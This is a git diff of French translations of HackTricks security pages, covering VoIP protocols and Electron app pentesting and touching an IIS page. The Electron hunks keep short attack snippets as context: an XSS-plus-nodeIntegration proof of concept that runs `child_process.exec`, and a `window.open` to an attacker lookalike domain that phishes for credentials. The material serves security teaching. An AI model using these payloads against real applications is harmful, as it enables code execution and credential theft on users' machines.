2. **Passerelles** : Ces dispositifs convertissent les flux multimédias entre différents réseaux, comme la téléphonie traditionnelle commutée par circuit et les réseaux IP commutés par paquets, permettant l'interopérabilité entre H.323 et d'autres systèmes de communication. Elles peuvent également inclure des fonctionnalités supplémentaires, telles que le transcodage ou l'annulation d'écho.
|
2. **Passerelles** : Ces dispositifs convertissent les flux multimédias entre différents réseaux, comme la téléphonie traditionnelle commutée par circuit et les réseaux IP commutés par paquets, permettant l'interopérabilité entre H.323 et d'autres systèmes de communication. Ils peuvent également inclure des fonctionnalités supplémentaires, telles que le transcodage ou l'annulation d'écho.
|
||||||
3. **Gatekeepers** : Ce sont des composants optionnels qui fournissent des services de contrôle et de gestion des appels dans un réseau H.323. Ils effectuent des fonctions telles que la traduction d'adresses, la gestion de la bande passante et le contrôle d'admission, aidant à gérer et à optimiser les ressources du réseau.
|
3. **Gatekeepers** : Ce sont des composants optionnels qui fournissent des services de contrôle et de gestion des appels dans un réseau H.323. Ils effectuent des fonctions telles que la traduction d'adresses, la gestion de la bande passante et le contrôle d'admission, aidant à gérer et à optimiser les ressources réseau.
|
||||||
4. **Unités de contrôle multipoint (MCU)** : Ces dispositifs facilitent les conférences multipoints en gérant et en mélangeant les flux multimédias de plusieurs points de terminaison. Les MCU permettent des fonctionnalités telles que le contrôle de la disposition vidéo, le commutateur activé par la voix et la présence continue, rendant possible l'organisation de conférences à grande échelle avec plusieurs participants.
|
4. **Unités de contrôle multipoint (MCUs)** : Ces dispositifs facilitent les conférences multipoints en gérant et en mélangeant les flux multimédias de plusieurs points de terminaison. Les MCUs permettent des fonctionnalités telles que le contrôle de la disposition vidéo, le commutateur activé par la voix et la présence continue, rendant possible l'organisation de conférences à grande échelle avec plusieurs participants.
|
||||||
|
|
||||||
H.323 prend en charge une gamme de codecs audio et vidéo, ainsi que d'autres services supplémentaires comme le renvoi d'appel, le transfert d'appel, la mise en attente d'appel et l'attente d'appel. Malgré son adoption généralisée dans les premières années de VoIP, H.323 a été progressivement remplacé par des protocoles plus modernes et flexibles comme le **Session Initiation Protocol (SIP)**, qui offre une meilleure interopérabilité et une mise en œuvre plus facile. Cependant, H.323 reste utilisé dans de nombreux systèmes hérités et continue d'être pris en charge par divers fournisseurs d'équipements.
|
H.323 prend en charge une gamme de codecs audio et vidéo, ainsi que d'autres services supplémentaires comme le renvoi d'appels, le transfert d'appels, la mise en attente des appels et l'attente d'appels. Malgré son adoption généralisée dans les premières années de VoIP, H.323 a été progressivement remplacé par des protocoles plus modernes et flexibles comme le **Session Initiation Protocol (SIP)**, qui offre une meilleure interopérabilité et une mise en œuvre plus facile. Cependant, H.323 reste utilisé dans de nombreux systèmes hérités et continue d'être pris en charge par divers fournisseurs d'équipements.
|
||||||
|
|
||||||
### IAX (Inter Asterisk eXchange)
|
### IAX (Inter Asterisk eXchange)
|
||||||
|
|
||||||
IAX (Inter-Asterisk eXchange) est un **protocole de signalisation et de contrôle d'appel** principalement utilisé pour la communication entre les serveurs PBX Asterisk (Private Branch Exchange) et d'autres dispositifs VoIP. Il a été développé par Mark Spencer, le créateur du logiciel PBX open-source Asterisk, comme une alternative à d'autres protocoles VoIP comme SIP et H.323.
|
IAX (Inter-Asterisk eXchange) est un **protocole de signalisation et de contrôle des appels** principalement utilisé pour la communication entre les serveurs Asterisk PBX (Private Branch Exchange) et d'autres dispositifs VoIP. Il a été développé par Mark Spencer, le créateur du logiciel PBX open-source Asterisk, comme une alternative à d'autres protocoles VoIP comme SIP et H.323.
|
||||||
|
|
||||||
IAX est connu pour sa **simplicité, son efficacité et sa facilité de mise en œuvre**. Certaines caractéristiques clés d'IAX incluent :
|
IAX est connu pour sa **simplicité, son efficacité et sa facilité de mise en œuvre**. Certaines caractéristiques clés d'IAX incluent :
|
||||||
|
|
||||||
1. **Port UDP unique** : IAX utilise un seul port UDP (4569) pour à la fois le trafic de signalisation et de médias, ce qui simplifie le passage à travers les pare-feu et NAT, facilitant son déploiement dans divers environnements réseau.
|
1. **Port UDP unique** : IAX utilise un seul port UDP (4569) pour à la fois le trafic de signalisation et de médias, ce qui simplifie le passage à travers les pare-feu et NAT, facilitant son déploiement dans divers environnements réseau.
|
||||||
2. **Protocole binaire** : Contrairement aux protocoles basés sur du texte comme SIP, IAX est un protocole binaire, ce qui réduit sa consommation de bande passante et le rend plus efficace pour la transmission de données de signalisation et de médias.
|
2. **Protocole binaire** : Contrairement aux protocoles basés sur du texte comme SIP, IAX est un protocole binaire, ce qui réduit sa consommation de bande passante et le rend plus efficace pour la transmission de données de signalisation et de médias.
|
||||||
3. **Trunking** : IAX prend en charge le trunking, ce qui permet de combiner plusieurs appels en une seule connexion réseau, réduisant ainsi la surcharge et améliorant l'utilisation de la bande passante.
|
3. **Trunking** : IAX prend en charge le trunking, ce qui permet de combiner plusieurs appels en une seule connexion réseau, réduisant ainsi la surcharge et améliorant l'utilisation de la bande passante.
|
||||||
4. **Chiffrement natif** : IAX prend en charge le chiffrement intégré, utilisant des méthodes comme RSA pour l'échange de clés et AES pour le chiffrement des médias, assurant une communication sécurisée entre les points de terminaison.
|
4. **Chiffrement natif** : IAX prend en charge le chiffrement intégré, utilisant des méthodes comme RSA pour l'échange de clés et AES pour le chiffrement des médias, fournissant une communication sécurisée entre les points de terminaison.
|
||||||
5. **Communication pair-à-pair** : IAX peut être utilisé pour une communication directe entre les points de terminaison sans avoir besoin d'un serveur central, permettant un routage des appels plus simple et plus efficace.
|
5. **Communication pair-à-pair** : IAX peut être utilisé pour une communication directe entre les points de terminaison sans avoir besoin d'un serveur central, permettant un routage des appels plus simple et plus efficace.
|
||||||
|
|
||||||
Malgré ses avantages, IAX présente certaines limitations, telles que son orientation principale vers l'écosystème Asterisk et une adoption moins répandue par rapport à des protocoles plus établis comme SIP. En conséquence, IAX pourrait ne pas être le meilleur choix pour l'interopérabilité avec des systèmes ou dispositifs non-Asterisk. Cependant, pour ceux qui travaillent dans l'environnement Asterisk, IAX offre une solution robuste et efficace pour la communication VoIP.
|
Malgré ses avantages, IAX présente certaines limitations, telles que son focus principal sur l'écosystème Asterisk et une adoption moins répandue par rapport à des protocoles plus établis comme SIP. En conséquence, IAX pourrait ne pas être le meilleur choix pour l'interopérabilité avec des systèmes ou dispositifs non-Asterisk. Cependant, pour ceux qui travaillent dans l'environnement Asterisk, IAX offre une solution robuste et efficace pour la communication VoIP.
|
||||||
|
|
||||||
## Protocoles de transmission et de transport
|
## Protocoles de transmission et de transport
|
||||||
|
|
||||||
### SDP (Session Description Protocol)
|
### SDP (Session Description Protocol)
|
||||||
|
|
||||||
SDP (Session Description Protocol) est un **format basé sur du texte** utilisé pour décrire les caractéristiques des sessions multimédias, telles que la voix, la vidéo ou la conférence de données, sur des réseaux IP. Il a été développé par l'**Internet Engineering Task Force (IETF)** et est défini dans la **RFC 4566**. SDP ne gère pas la transmission réelle des médias ou l'établissement de sessions, mais est utilisé en conjonction avec d'autres protocoles de signalisation, comme le **SIP (Session Initiation Protocol)**, pour négocier et échanger des informations sur les flux multimédias et leurs attributs.
|
SDP (Session Description Protocol) est un **format basé sur du texte** utilisé pour décrire les caractéristiques des sessions multimédias, telles que la voix, la vidéo ou la conférence de données, sur des réseaux IP. Il a été développé par l'**Internet Engineering Task Force (IETF)** et est défini dans le **RFC 4566**. SDP ne gère pas la transmission réelle des médias ou l'établissement de sessions, mais est utilisé en conjonction avec d'autres protocoles de signalisation, comme le **SIP (Session Initiation Protocol)**, pour négocier et échanger des informations sur les flux multimédias et leurs attributs.
|
||||||
|
|
||||||
Certains éléments clés de SDP incluent :
|
Certains éléments clés de SDP incluent :
|
||||||
|
|
||||||
|
@ -115,21 +101,26 @@ La simplicité et la flexibilité de SDP en font une norme largement adoptée po
|
||||||
|
|
||||||
### RTP / RTCP / SRTP / ZRTP
|
### RTP / RTCP / SRTP / ZRTP
|
||||||
|
|
||||||
1. **RTP (Real-time Transport Protocol)** : RTP est un protocole réseau conçu pour la livraison de données audio et vidéo, ou d'autres médias en temps réel, sur des réseaux IP. Développé par l'**IETF** et défini dans la **RFC 3550**, RTP est couramment utilisé avec des protocoles de signalisation comme SIP et H.323 pour permettre la communication multimédia. RTP fournit des mécanismes pour la **synchronisation**, le **séquençage** et le **timestamping** des flux multimédias, aidant à garantir une lecture fluide et opportune des médias.
|
1. **RTP (Real-time Transport Protocol)** : RTP est un protocole réseau conçu pour la livraison de données audio et vidéo, ou d'autres médias en temps réel, sur des réseaux IP. Développé par l'**IETF** et défini dans le **RFC 3550**, RTP est couramment utilisé avec des protocoles de signalisation comme SIP et H.323 pour permettre la communication multimédia. RTP fournit des mécanismes pour la **synchronisation**, le **séquençage** et le **timestamping** des flux multimédias, aidant à garantir une lecture fluide et opportune des médias.
|
||||||
2. **RTCP (Real-time Transport Control Protocol)** : RTCP est un protocole compagnon de RTP, utilisé pour surveiller la qualité de service (QoS) et fournir des retours d'information sur la transmission des flux multimédias. Défini dans la même **RFC 3550** que RTP, RTCP **échange périodiquement des paquets de contrôle entre les participants d'une session RTP**. Il partage des informations telles que la perte de paquets, le jitter et le temps de réponse, ce qui aide à diagnostiquer et à s'adapter aux conditions du réseau, améliorant ainsi la qualité globale des médias.
|
2. **RTCP (Real-time Transport Control Protocol)** : RTCP est un protocole compagnon de RTP, utilisé pour surveiller la qualité de service (QoS) et fournir des retours d'information sur la transmission des flux multimédias. Défini dans le même **RFC 3550** que RTP, RTCP **échange périodiquement des paquets de contrôle entre les participants d'une session RTP**. Il partage des informations telles que la perte de paquets, le jitter et le temps de réponse, ce qui aide à diagnostiquer et à s'adapter aux conditions du réseau, améliorant ainsi la qualité globale des médias.
|
||||||
3. **SRTP (Secure Real-time Transport Protocol)** : SRTP est une extension de RTP qui fournit **chiffrement**, **authentification des messages** et **protection contre les rejets** pour les flux multimédias, garantissant une transmission sécurisée des données audio et vidéo sensibles. Défini dans la **RFC 3711**, SRTP utilise des algorithmes cryptographiques comme AES pour le chiffrement et HMAC-SHA1 pour l'authentification des messages. SRTP est souvent utilisé en combinaison avec des protocoles de signalisation sécurisés comme SIP sur TLS pour fournir une sécurité de bout en bout dans la communication multimédia.
|
3. **SRTP (Secure Real-time Transport Protocol)** : SRTP est une extension de RTP qui fournit **chiffrement**, **authentification des messages** et **protection contre les rejets** pour les flux multimédias, garantissant une transmission sécurisée des données audio et vidéo sensibles. Défini dans le **RFC 3711**, SRTP utilise des algorithmes cryptographiques comme AES pour le chiffrement et HMAC-SHA1 pour l'authentification des messages. SRTP est souvent utilisé en combinaison avec des protocoles de signalisation sécurisés comme SIP sur TLS pour fournir une sécurité de bout en bout dans la communication multimédia.
|
||||||
4. **ZRTP (Zimmermann Real-time Transport Protocol)** : ZRTP est un protocole d'accord de clé cryptographique qui fournit un **chiffrement de bout en bout** pour les flux multimédias RTP. Développé par Phil Zimmermann, le créateur de PGP, ZRTP est décrit dans la **RFC 6189**. Contrairement à SRTP, qui s'appuie sur des protocoles de signalisation pour l'échange de clés, ZRTP est conçu pour fonctionner indépendamment du protocole de signalisation. Il utilise l'**échange de clés Diffie-Hellman** pour établir un secret partagé entre les parties communicantes, sans nécessiter de confiance préalable ou d'infrastructure à clé publique (PKI). ZRTP inclut également des fonctionnalités telles que des **Chaînes d'Authentification Courtes (SAS)** pour se protéger contre les attaques de type homme du milieu.
|
4. **ZRTP (Zimmermann Real-time Transport Protocol)** : ZRTP est un protocole d'accord de clés cryptographiques qui fournit un **chiffrement de bout en bout** pour les flux multimédias RTP. Développé par Phil Zimmermann, le créateur de PGP, ZRTP est décrit dans le **RFC 6189**. Contrairement à SRTP, qui s'appuie sur des protocoles de signalisation pour l'échange de clés, ZRTP est conçu pour fonctionner indépendamment du protocole de signalisation. Il utilise **l'échange de clés Diffie-Hellman** pour établir un secret partagé entre les parties communicantes, sans nécessiter de confiance préalable ou d'infrastructure à clé publique (PKI). ZRTP inclut également des fonctionnalités telles que **Short Authentication Strings (SAS)** pour se protéger contre les attaques de type homme du milieu.
|
||||||
|
|
||||||
Ces protocoles jouent des rôles essentiels dans **la livraison et la sécurisation de la communication multimédia en temps réel sur des réseaux IP**. Alors que RTP et RTCP gèrent la transmission réelle des médias et le suivi de la qualité, SRTP et ZRTP garantissent que les médias transmis sont protégés contre l'écoute, la falsification et les attaques par rejeu.
|
Ces protocoles jouent des rôles essentiels dans **la livraison et la sécurisation de la communication multimédia en temps réel sur des réseaux IP**. Alors que RTP et RTCP gèrent la transmission réelle des médias et le suivi de la qualité, SRTP et ZRTP garantissent que les médias transmis sont protégés contre l'écoute clandestine, la falsification et les attaques par rejeu.
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
{% hint style="success" %}
|
||||||
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
<details>
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares de vol d'informations.
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
</details>
|
||||||
|
{% endhint %}
|
||||||
{% embed url="https://whiteintel.io" %}
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -9,25 +9,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Introduction
|
## Introduction
|
||||||
|
|
||||||
|
@ -63,12 +50,12 @@ Les paramètres du **renderer process** peuvent être **configurés** dans le **
|
||||||
|
|
||||||
L'application Electron **pourrait accéder à l'appareil** via les API Node bien qu'elle puisse être configurée pour l'en empêcher :
|
L'application Electron **pourrait accéder à l'appareil** via les API Node bien qu'elle puisse être configurée pour l'en empêcher :
|
||||||
|
|
||||||
* **`nodeIntegration`** - est `off` par défaut. S'il est activé, permet d'accéder aux fonctionnalités Node depuis le renderer process.
|
* **`nodeIntegration`** - est `désactivé` par défaut. S'il est activé, permet d'accéder aux fonctionnalités Node depuis le renderer process.
|
||||||
* **`contextIsolation`** - est `on` par défaut. S'il est désactivé, les processus principal et renderer ne sont pas isolés.
|
* **`contextIsolation`** - est `activé` par défaut. S'il est désactivé, les processus principal et renderer ne sont pas isolés.
|
||||||
* **`preload`** - vide par défaut.
|
* **`preload`** - vide par défaut.
|
||||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est désactivé par défaut. Cela restreindra les actions que NodeJS peut effectuer.
|
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est désactivé par défaut. Cela restreindra les actions que NodeJS peut effectuer.
|
||||||
* Intégration Node dans les Workers
|
* Intégration Node dans les Workers
|
||||||
* **`nodeIntegrationInSubframes`** - est `off` par défaut.
|
* **`nodeIntegrationInSubframes`** - est `désactivé` par défaut.
|
||||||
* Si **`nodeIntegration`** est **activé**, cela permettrait l'utilisation des **API Node.js** dans les pages web qui sont **chargées dans des iframes** au sein d'une application Electron.
|
* Si **`nodeIntegration`** est **activé**, cela permettrait l'utilisation des **API Node.js** dans les pages web qui sont **chargées dans des iframes** au sein d'une application Electron.
|
||||||
* Si **`nodeIntegration`** est **désactivé**, alors les précharges se chargeront dans l'iframe.
|
* Si **`nodeIntegration`** est **désactivé**, alors les précharges se chargeront dans l'iframe.
|
||||||
|
|
||||||
|
@ -126,7 +113,7 @@ Si vous pouvez exécuter localement une application Electron, il est possible qu
|
||||||
|
|
||||||
## RCE : XSS + nodeIntegration
|
## RCE : XSS + nodeIntegration
|
||||||
|
|
||||||
Si le **nodeIntegration** est réglé sur **on**, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant le `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est :
|
Si le **nodeIntegration** est réglé sur **on**, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est :
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
require('child_process').exec('calc');
|
require('child_process').exec('calc');
|
||||||
|
@ -180,7 +167,7 @@ Le _**contextIsolation**_ introduit les **contextes séparés entre les scripts
|
||||||
Si les contextes ne sont pas isolés, un attaquant peut :
|
Si les contextes ne sont pas isolés, un attaquant peut :
|
||||||
|
|
||||||
1. Exécuter **du JavaScript arbitraire dans le renderer** (XSS ou navigation vers des sites externes)
|
1. Exécuter **du JavaScript arbitraire dans le renderer** (XSS ou navigation vers des sites externes)
|
||||||
2. **Écraser la méthode intégrée** qui est utilisée dans le preload ou le code interne d'Electron pour une fonction propre
|
2. **Écraser la méthode intégrée** qui est utilisée dans le preload ou le code interne d'Electron pour sa propre fonction
|
||||||
3. **Déclencher** l'utilisation de **la fonction écrasée**
|
3. **Déclencher** l'utilisation de **la fonction écrasée**
|
||||||
4. RCE ?
|
4. RCE ?
|
||||||
|
|
||||||
|
@ -215,7 +202,7 @@ Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres,
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||||
webContents.on("will-navigate", function (event, url) {}
|
webContents.on("will-navigate", function (event, url) {}
|
||||||
```
|
```
|
||||||
Ces écouteurs sont **surchargés par l'application de bureau** pour implémenter sa propre **logique métier**. L'application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise par une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit être ouvert à l'extérieur, en utilisant la fonction `shell.openExternal`.
|
Ces écouteurs sont **surchargés par l'application de bureau** pour mettre en œuvre sa propre **logique métier**. L'application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise par une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit être ouvert à l'extérieur, en utilisant la fonction `shell.openExternal`.
|
||||||
|
|
||||||
**Voici un pseudocode simplifié :**
|
**Voici un pseudocode simplifié :**
|
||||||
|
|
||||||
|
@ -270,7 +257,7 @@ webContents.on("will-navigate", function (event, url) {} // o
|
||||||
```
|
```
|
||||||
L'appel à **`openInternally`** décidera si le **lien** sera **ouvert** dans la **fenêtre de bureau** car c'est un lien appartenant à la plateforme, **ou** s'il sera ouvert dans le **navigateur en tant que ressource tierce**.
|
L'appel à **`openInternally`** décidera si le **lien** sera **ouvert** dans la **fenêtre de bureau** car c'est un lien appartenant à la plateforme, **ou** s'il sera ouvert dans le **navigateur en tant que ressource tierce**.
|
||||||
|
|
||||||
Dans le cas où la **regex** utilisée par la fonction est **vulnérable aux contournements** (par exemple en **ne pas échappant les points des sous-domaines**), un attaquant pourrait abuser du XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant **demandant des identifiants** à l'utilisateur :
|
Dans le cas où la **regex** utilisée par la fonction est **vulnérable aux contournements** (par exemple en **ne pas échapper les points des sous-domaines**), un attaquant pourrait abuser du XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant **demandant des identifiants** à l'utilisateur :
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||||
|
@ -285,7 +272,7 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||||
|
|
||||||
## Laboratoires
|
## Laboratoires
|
||||||
|
|
||||||
Dans [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) vous pouvez trouver un laboratoire pour exploiter des applications Electron vulnérables.
|
Dans [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s), vous pouvez trouver un laboratoire pour exploiter des applications Electron vulnérables.
|
||||||
|
|
||||||
Quelques commandes qui vous aideront avec le laboratoire :
|
Quelques commandes qui vous aideront avec le laboratoire :
|
||||||
```bash
|
```bash
|
||||||
|
@ -317,32 +304,20 @@ npm start
|
||||||
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||||
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||||
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
|
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
|
||||||
* Plus de recherches et d'analyses sur la sécurité d'Electron dans [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
* Plus de recherches et d'articles sur la sécurité d'Electron dans [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||||
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,34 +1,20 @@
|
||||||
# IIS - Internet Information Services
|
# IIS - Internet Information Services
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
